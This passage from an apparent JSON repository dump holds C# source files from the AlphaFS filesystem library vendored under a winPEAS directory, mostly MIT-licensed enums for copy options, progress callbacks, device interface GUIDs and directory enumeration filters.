(_contentType == null)\n               _contentType = GetString(_iQaNone, Shell32.AssociationString.ContentType, null);\n\n            return _contentType;\n         }\n\n         private set { _contentType = value; }\n      }\n\n\n      private string _ddeApplication;\n\n      /// <summary>Gets the Shell DDE association from the registry.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dde\")]\n      public string DdeApplication\n      {\n         get\n         {\n            if (_ddeApplication == null)\n               _ddeApplication = GetString(_iQaNone, Shell32.AssociationString.DdeApplication, null);\n\n            return _ddeApplication;\n         }\n\n         private set { _ddeApplication = value; }\n      }\n\n\n      private string _defaultIcon;\n\n      /// <summary>Gets the Shell default icon association from the registry.</summary>\n      public string DefaultIcon\n      {\n         get\n         {\n            if (_defaultIcon == null)\n               _defaultIcon = GetString(_iQaNone, Shell32.AssociationString.DefaultIcon, null);\n\n            return _defaultIcon;\n         }\n\n         private set { _defaultIcon = value; }\n      }\n\n\n      /// <summary>Represents the fully qualified path of the file.</summary>\n      public string FullPath { get; private set; }\n\n\n      private string _friendlyAppName;\n\n      /// <summary>Gets the Shell friendly application name association from the registry.</summary>\n      public string FriendlyAppName\n      {\n         get\n         {\n            if (_friendlyAppName == null)\n               _friendlyAppName = GetString(_iQaByExe, Shell32.AssociationString.FriendlyAppName, null);\n\n            return _friendlyAppName;\n         }\n\n         private set { _friendlyAppName = value; }\n      }\n\n\n      private string _friendlyDocName;\n\n      /// <summary>Gets the Shell friendly document name association from the registry.</summary>\n      public string FriendlyDocName\n      {\n         get\n         {\n            if (_friendlyDocName == null)\n               _friendlyDocName = GetString(_iQaNone, Shell32.AssociationString.FriendlyDocName, null);\n\n            return _friendlyDocName;\n         }\n\n         private set { _friendlyDocName = value; }\n      }\n\n\n      /// <summary>Reflects the initialization state of the instance.</summary>\n      internal bool Initialized { get; set; }\n\n\n      private string _openWithAppName;\n\n      /// <summary>Gets the Shell \"Open With\" command association from the registry.</summary>\n      public string OpenWithAppName\n      {\n         get\n         {\n            if (_openWithAppName == null)\n               _openWithAppName = GetString(_iQaNone, Shell32.AssociationString.FriendlyAppName, null);\n\n            return _openWithAppName;\n         }\n\n         private set { _openWithAppName = value; }\n      }\n\n      #endregion // Properties\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyMoveProgressCallbackReason.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Used by CopyFileXxx and MoveFileXxx. The reason that <see cref=\"CopyMoveProgressRoutine\"/> was called.</summary>\n   public enum CopyMoveProgressCallbackReason\n   {\n      /// <summary>CALLBACK_CHUNK_FINISHED\n      /// <para>Another part of the data file was copied.</para>\n      /// </summary>\n      ChunkFinished = 0,\n\n      /// <summary>CALLBACK_STREAM_SWITCH\n      /// <para>Another stream was created and is about to be copied. This is the callback reason given when the callback routine is first invoked.</para>\n      /// </summary>\n      StreamSwitch = 1\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyMoveProgressResult.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Used by CopyFileXxx and MoveFileXxx. The <see cref=\"CopyMoveProgressRoutine\"/> function should return one of the following values.</summary>\n   public enum CopyMoveProgressResult \n   {\n      /// <summary>PROGRESS_CONTINUE\n      /// <para>Continue the copy/move operation.</para>\n      /// </summary>\n      Continue = 0,\n\n      /// <summary>PROGRESS_CANCEL\n      /// <para>Cancel the copy/move operation and delete the destination file.</para>\n      /// </summary>\n      Cancel = 1,\n\n      /// <summary>PROGRESS_STOP\n      /// <para>Stop the copy/move operation. It can be restarted at a later time.</para>\n      /// </summary>\n      Stop = 2,\n\n      /// <summary>PROGRESS_QUIET\n      /// <para>Continue the copy/move operation, but stop invoking <see cref=\"CopyMoveProgressRoutine\"/> to report progress.</para>\n      /// </summary>\n      Quiet = 3\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyOptions.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Flags that specify how a file or directoryis to be copied.</summary>\n   [Flags]\n   public enum CopyOptions\n   {\n      /// <summary>No CopyOptions used, this allows overwriting the file.</summary>\n      None = 0,\n\n\n      /// <summary>The copy operation fails immediately if the target file already exists.</summary>\n      FailIfExists = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_FAIL_IF_EXISTS,\n\n\n      /// <summary>\n      ///   Progress of the copy is tracked in the target file in case the copy fails. The failed copy can be restarted at a later time by specifying the same values\n      ///   forexisting file name and new file name as those used in the call that failed. This can significantly slow down the copy operation as the new file may be\n      ///   flushed multiple times during the copy operation.\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Restartable\")]\n      Restartable = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_RESTARTABLE,\n\n\n      /// <summary>The file is copied and the original file is opened for write access.</summary>\n      OpenSourceForWrite = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_OPEN_SOURCE_FOR_WRITE,\n\n\n      /// <summary>An attempt to copy an encrypted file will succeed even if the destination copy cannot be encrypted.</summary>\n      AllowDecryptedDestination = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_ALLOW_DECRYPTED_DESTINATION,\n\n\n      /// <summary>\n      ///   Similar to XCOPY /B parameter: Copies the Symbolic Link itself versus the target of the link.\n      ///   If the source file is a symbolic link, the destination file is also a symbolic link pointing to the same file that the source symbolic link is pointing to.\n      /// </summary>\n      CopySymbolicLink = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_COPY_SYMLINK,\n\n\n      /// <summary>The copy operation is performed using unbuffered I/O, bypassing system I/O cache resources. Recommended for very large file transfers.</summary>\n      NoBuffering = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_NO_BUFFERING,\n\n\n      /// <summary>The original source timestamp is preserved.</summary>\n      CopyTimestamp = 8192\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DeviceGuid.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>System-Defined Device Interface Classes</summary>\n   /// <remarks>http://msdn.microsoft.com/en-us/library/windows/hardware/ff541389%28v=vs.85%29.aspx</remarks>\n   public enum DeviceGuid\n   {\n      #region 1394 and 61883 Devices\n\n      /// <summary>The BUS1394_CLASS_GUID device interface class is defined for 1394 bus devices.</summary>\n      [Description(\"6BDD1FC1-810F-11d0-BEC7-08002BE2092F\")] Bus1394,\n\n      /// <summary>The GUID_61883_CLASS device interface class is defined for devices in the 61883 device setup class.</summary>\n      [Description(\"7EBEFBC0-3200-11d2-B4C2-00A0C9697D07\")] Guid61883,\n\n      #endregion // 1394 and 61883 Devices\n\n\n      #region Battery and ACPI devices\n\n      /// <summary>The GUID_DEVICE_APPLICATIONLAUNCH_BUTTON device interface class is defined for Advanced Configuration and Power Interface (ACPI) application start buttons.</summary>\n      [Description(\"629758EE-986E-4D9E-8E47-DE27F8AB054D\")] ApplicationLaunchButton,\n\n      /// <summary>The GUID_DEVICE_BATTERY device interface class is defined for battery devices.</summary>\n      [Description(\"72631E54-78A4-11D0-BCF7-00AA00B7B32A\")] Battery,\n\n      /// <summary>The GUID_DEVICE_LID device interface class is defined for Advanced Configuration and Power Interface (ACPI) lid devices.</summary>\n      [Description(\"4AFA3D52-74A7-11d0-be5e-00A0C9062857\")] Lid,\n\n      /// <summary>The GUID_DEVICE_MEMORY device interface class is defined for Advanced Configuration and Power Interface (ACPI) memory devices.</summary>\n      [Description(\"3FD0F03D-92E0-45FB-B75C-5ED8FFB01021\")] Memory,\n\n      /// <summary>The GUID_DEVICE_MESSAGE_INDICATOR device interface class is defined for Advanced Configuration and Power Interface (ACPI) message indicator devices.</summary>\n      [Description(\"CD48A365-FA94-4CE2-A232-A1B764E5D8B4\")] MessageIndicator,\n\n      /// <summary>The GUID_DEVICE_PROCESSOR device interface class is defined for Advanced Configuration and Power Interface (ACPI) processor devices.</summary>\n      [Description(\"97FADB10-4E33-40AE-359C-8BEF029DBDD0\")] Processor,\n\n      /// <summary>The GUID_DEVICE_SYS_BUTTON device interface classis defined for Advanced Configuration and Power Interface (ACPI) system power button devices.</summary>\n      [Description(\"4AFA3D53-74A7-11d0-be5e-00A0C9062857\")] SysButton,\n\n      /// <summary>The GUID_DEVICE_THERMAL_ZONE device interface class is defined for Advanced Configuration and Power Interface (ACPI) thermal zone devices.</summary>\n      [Description(\"4AFA3D51-74A7-11d0-be5e-00A0C9062857\")] ThermalZone,\n\n      #endregion // Battery and ACPI devices\n\n\n      #region Bluetooth Devices\n\n      /// <summary>The GUID_BTHPORT_DEVICE_INTERFACE device interface class is defined for Bluetooth radios.</summary>\n      [Description(\"0850302A-B344-4fda-9BE9-90576B8D46F0\")] Bluetooth,\n\n      #endregion // Bluetooth Devices\n\n\n      #region Display and Image Devices\n\n      /// <summary>The GUID_DEVINTERFACE_BRIGHTNESS device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and support brightness control of monitor child devices.</summary>\n      [Description(\"FDE5BBA4-B3F9-46FB-BDAA-0728CE3100B4\")] Brightness,\n\n      /// <summary>The GUID_DEVINTERFACE_DISPLAY_ADAPTER device interface class is defined for display views that are supported by display adapters.</summary>\n      [Description(\"5B45201D-F2F2-4F3B-85BB-30FF1F953599\")] DisplayAdapter,\n\n      /// <summary>The GUID_DEVINTERFACE_I2C device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and perform I2C transactions with monitor child devices.</summary>\n      [Description(\"2564AA4F-DDDB-4495-B497-6AD4A84163D7\")] I2C,\n\n      /// <summary>The GUID_DEVINTERFACE_IMAGE device interface class is defined for WIA devices and Still Image (STI) devices, including digital cameras and scanners.</summary>\n      [Description(\"6BDD1FC6-810F-11D0-BEC7-08002BE2092F\")] StillImage,\n\n      /// <summary>The GUID_DEVINTERFACE_MONITOR device interface class is defined for monitor devices.</summary>\n      [Description(\"E6F07B5F-EE97-4a90-B076-33F57BF4EAA7\")] Monitor,\n\n      /// <summary>The GUID_DEVINTERFACE_OPM device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and support output protection management (OPM) for monitor child devices.</summary>\n      [Description(\"BF4672DE-6B4E-4BE4-A325-68A91EA49C09\")] OutputProtectionManagement,\n\n      /// <summary>The GUID_DEVINTERFACE_VIDEO_OUTPUT_ARRIVAL device interface class is defined for child devices of display devices.</summary>\n      [Description(\"1AD9E4F0-F88D-4360-BAB9-4C2D55E564CD\")] VideoOutputArrival,\n\n      /// <summary>The GUID_DISPLAY_DEVICE_ARRIVAL device interface class is defined for display adapters.</summary>\n      [Description(\"1CA05180-A699-450A-9A0C-DE4FBE3DDD89\")] DisplayDeviceArrival,\n\n      #endregion // Display and Image Devices\n\n\n      #region Interactive Input Devices\n\n      /// <summary>The GUID_DEVINTERFACE_HID device interface class is defined for HID collections.</summary>\n      [Description(\"4D1E55B2-F16F-11CF-88CB-001111000030\")] Hid,\n\n      /// <summary>The GUID_DEVINTERFACE_KEYBOARD device interface class is defined for keyboard devices.</summary>\n      [Description(\"4D1E55B2-F16F-11CF-88CB-001111000030\")] Keyboard,\n\n      /// <summary>The GUID_DEVINTERFACE_MOUSE device interface class is defined for mouse devices.</summary>\n      [Description(\"378DE44C-56EF-11D1-BC8C-00A0C91405DD\")] Mouse,\n\n      #endregion // Interactive Input Devices\n\n\n      #region Modem Devices\n\n      /// <summary>The GUID_DEVINTERFACE_MODEM device interface class is defined for modem devices.</summary>\n      [Description(\"2C7089AA-2E0E-11D1-B114-00C04FC2AAE4\")] Modem,\n\n      #endregion // Modem Devices\n\n\n      #region Network Devices\n\n      /// <summary>The GUID_DEVINTERFACE_NET device interface class is defined for network devices.</summary>\n      [Description(\"CAC88484-7515-4C03-82E6-71A87ABAC361\")] Network,\n\n      #endregion // Network Devices\n\n\n      #region Serial and Parallel Port Devices\n\n      /// <summary>The GUID_DEVINTERFACE_COMPORT device interface class is defined for COM ports.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1702:CompoundWordsShouldBeCasedCorrectly\", MessageId = \"ComPort\")]\n      [Description(\"86E0D1E0-8089-11D0-9CE4-08003E301F73\")] ComPort,\n\n      /// <summary>The GUID_DEVINTERFACE_PARALLEL device interface class is defined for parallel ports that support an IEEE 1284-compatible hardware interface.</summary>\n      [Description(\"97F76EF0-F883-11D0-AF1F-0000F800845C\")] Parallel,\n\n      /// <summary>The GUID_DEVINTERFACE_PARCLASS device interface class is defined for devices that are attached to a parallel port.</summary>\n      [Description(\"811FC6A5-F728-11D0-A537-0000F8753ED1\")] ParallelClass,\n\n      /// <summary>The GUID_DEVINTERFACE_SERENUM_BUS_ENUMERATOR device interface class is defined for Plug and Play (PnP) serial ports.</summary>\n      [Description(\"4D36E978-E325-11CE-BFC1-08002BE10318\")] SerialEnumBusEnumerator,\n\n      #endregion // Serial and Parallel Port Devices\n\n\n      #region Storage Devices\n\n      /// <summary>The GUID_DEVINTERFACE_CDCHANGER device interface class is defined for CD-ROM changer devices.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Cdrom\")]\n      [Description(\"53F56312-B6BF-11D0-94F2-00A0C91EFB8B\")] CdromChanger,\n\n      /// <summary>The GUID_DEVINTERFACE_CDROM device interface class is defined for CD-ROM storage devices.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Cdrom\")]\n      [Description(\"53F56308-B6BF-11D0-94F2-00A0C91EFB8B\")] Cdrom,\n\n      /// <summary>The GUID_DEVINTERFACE_DISK device interface class is defined for hard disk storage devices.</summary>\n      [Description(\"53F56307-B6BF-11D0-94F2-00A0C91EFB8B\")] Disk,\n\n      /// <summary>The GUID_DEVINTERFACE_FLOPPY device interface class is defined for floppy disk storage devices.</summary> \n      [Description(\"53F56311-B6BF-11D0-94F2-00A0C91EFB8B\")] Floppy,\n\n      /// <summary>The GUID_DEVINTERFACE_MEDIUMCHANGER device interface class is defined for medium changer devices.</summary> \n      [Description(\"53F56310-B6BF-11D0-94F2-00A0C91EFB8B\")] MediumChanger,\n\n      /// <summary>The GUID_DEVINTERFACE_PARTITION device interface class is defined for partition devices.</summary> \n      [Description(\"53F5630A-B6BF-11D0-94F2-00A0C91EFB8B\")] Partition,\n\n      /// <summary>The GUID_DEVINTERFACE_STORAGEPORT device interface class is defined for storage port devices.</summary> \n      [Description(\"2ACCFE60-C130-11D2-B082-00A0C91EFB8B\")] StoragePort,\n\n      /// <summary>The GUID_DEVINTERFACE_TAPE device interface class is defined for tape storage devices.</summary> \n      [Description(\"53F5630B-B6BF-11D0-94F2-00A0C91EFB8B\")] Tape,\n\n      /// <summary>The GUID_DEVINTERFACE_VOLUME device interface class is defined for volume devices.</summary> \n      [Description(\"53F5630D-B6BF-11D0-94F2-00A0C91EFB8B\")] Volume,\n\n      /// <summary>The GUID_DEVINTERFACE_WRITEONCEDISK device interface class is defined for write-once disk devices.</summary> \n      [Description(\"53F5630C-B6BF-11D0-94F2-00A0C91EFB8B\")] WriteOnceDisk,\n\n      #endregion // Storage Devices\n\n\n      #region USB Devices\n\n      /// <summary>The GUID_DEVINTERFACE_USB_DEVICE device interface class is defined for USB devices that are attached to a USB hub.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Usb\")]\n      [Description(\"A5DCBF10-6530-11D2-901F-00C04FB951ED\")] UsbDevice,\n\n      /// <summary>The GUID_DEVINTERFACE_USB_HOST_CONTROLLER device interface class is defined for USB host controller devices.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Usb\")]\n      [Description(\"3ABF6F2D-71C4-462A-8A92-1E6861E6AF27\")] UsbHostController,\n\n      /// <summary>The GUID_DEVINTERFACE_USB_HUB device interface class is defined for USB hub devices.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Usb\")]\n      [Description(\"F18A0E88-C30C-11D0-8815-00A0C906BED8\")] UsbHub,\n\n      #endregion // USB Devices\n\n\n      #region Windows Portable devices\n\n      /// <summary>The GUID_DEVINTERFACE_WPD device interface class is defined for Windows Portable Devices (WPD).</summary>\n      /// <remarks>Available in Windows Vista, Windows XP, and later versions of Windows.</remarks>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Wpd\")]\n      [Description(\"6AC27878-A6FA-4155-BA85-F98F491D4F33\")] Wpd,\n\n      /// <summary>The GUID_DEVINTERFACE_WPD_PRIVATE device interface class is defined for specialized Windows Portable Devices (WPD).</summary>\n      /// <remarks>Available in Windows Vista, Windows XP, and later versions of Windows.</remarks>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Wpd\")]\n      [Description(\"BA0C718F-4DED-49B7-BDD3-FABE28661211\")] WpdPrivate\n\n      #endregion // Windows Portable devices\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DiGetClassFlags.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Specifies control options that filter the device information elements that are added to the device information set.</summary>\n      [Flags]\n      internal enum SetupDiGetClassDevsExFlags\n      {\n         /// <summary>DIGCF_DEFAULT\n         /// <para>Return only the device that is associated with the system default device interface, if one is set, for the specified device interface classes.</para>\n         /// </summary>\n         Default = 1, // only valid with DIGCF_DEVICEINTERFACE\n\n         /// <summary>DIGCF_PRESENT\n         /// <para>Return only devices that are currently present.</para>\n         /// </summary>\n         Present = 2,\n\n         /// <summary>DIGCF_ALLCLASSES\n         /// <para>Return a list of installed devices for the specified device setup classes or device interface classes.</para>\n         /// </summary>\n         AllClasses = 4,\n\n         /// <summary>DIGCF_PROFILE\n         /// <para>Return only devices that are a part of the current hardware profile.</para>\n         /// </summary>\n         Profile = 8,\n\n         /// <summary>DIGCF_DEVICEINTERFACE\n         /// <para>\n         /// Return devices that support device interfaces for the specified device interface classes.\n         /// This flag must be set in the Flags parameter if the Enumerator parameter specifies a Device Instance ID. \n         /// </para>\n         /// </summary>\n         DeviceInterface = 16\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DirectoryEnumerationFilters.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\n#if !NET35\nusing System.Threading;\n#endif\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] Represents the method that will handle an error raised during retrieving file system entries.</summary>\n   /// <returns><c>true</c>, if the error has been fully handled and the caller may proceed, \n   /// <param name=\"errorCode\">The error code.</param>\n   /// <param name=\"errorMessage\">The error message.</param>\n   /// <param name=\"pathProcessed\">The faulty path being processed.</param>\n   /// <c>false</c> otherwise, in which case the caller will throw the corresponding exception.</returns>   \n   public delegate bool ErrorHandler(int errorCode, string errorMessage, string pathProcessed);\n\n\n   /// <summary>[AlphaFS] Specifies a set of custom filters to be used with enumeration methods of <see cref=\"Directory\"/>, e.g., <see cref=\"Directory.EnumerateDirectories(string)\"/>, <see cref=\"Directory.EnumerateFiles(string)\"/>, or <see cref=\"Directory.EnumerateFileSystemEntries(string)\"/>.</summary>\n   /// <remarks>\n   /// <see cref=\"DirectoryEnumerationFilters\"/> allows scenarios in which files/directories being \n   /// enumerated by the methods of <see cref=\"Directory\"/> class are accepted only if \n   /// they match the search pattern, attributes (see <see cref=\"DirectoryEnumerationOptions.SkipReparsePoints\"/>),\n   /// and optionally also the custom criteria tested in the method whose delegate is specified in <see cref=\"InclusionFilter\"/>. \n   /// These criteria could be, e.g., file size exceeding some threshold, pathname matches a compex regular expression, etc.\n   /// If the enumeration process is set to be recursive (see <see cref=\"DirectoryEnumerationOptions.Recursive\"/>) and <see cref=\"RecursionFilter\"/>\n   /// is specified, the directory is traversed recursively only if it matches the custom criteria in <see cref=\"RecursionFilter\"/> \n   /// method. This allows, for example, custom handling of junctions and symbolic links, e.g., detection of cycles.\n   /// If any error occurs during the enumeration and the enumeration process is not set to ignore errors\n   /// (see <see cref=\"DirectoryEnumerationOptions.ContinueOnException\"/>), an exception is thrown unless\n   /// the error is handled (filtered out) by the method specified in <see cref=\"ErrorFilter\"/> (if specified).\n   /// The method may, for example, consume the error by reporting it in a log, so that the enumeration continues\n   /// as in the case of <see cref=\"DirectoryEnumerationOptions.ContinueOnException\"/> option but the user will be informed about errors.\n   /// </remarks>\n   public class DirectoryEnumerationFilters\n   {\n      /// <summary>Gets or sets the filter that returns <c>true</c> if the input file system entry should be included in the enumeration.</summary>\n      /// <value>The delegate to a filtering method.</value>      \n      public Predicate<FileSystemEntryInfo> InclusionFilter { get; set; }\n\n\n      /// <summary>Gets or sets the filter that returns <c>true</c> if the input directory should be recursively traversed.</summary>\n      /// <value>The delegate to a filtering method.</value>\n      public Predicate<FileSystemEntryInfo> RecursionFilter { get; set; }\n\n\n      /// <summary>Gets or sets the filter that returns <c>true</c> if the input error should not be thrown.</summary>\n      /// <value>The delegate to a filtering method.</value>\n      public ErrorHandler ErrorFilter { get; set; }\n\n\n      /// <summary>The number of retries, excluding the first attempt. Default is <c>0</c>.</summary>\n      public int ErrorRetry { get; set; }\n\n\n      /// <summary>The wait time in seconds between retries. Default is <c>10</c> seconds.</summary>\n      public int ErrorRetryTimeout { get; set; }\n\n\n#if !NET35\n      /// <summary>Gets or sets the cancellation token to abort the enumeration.</summary>\n      /// <value>A <see cref=\"CancellationToken\"/> instance.</value>\n      public CancellationToken CancellationToken { get; set; }\n#endif\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DirectoryEnumerationOptions.cs",
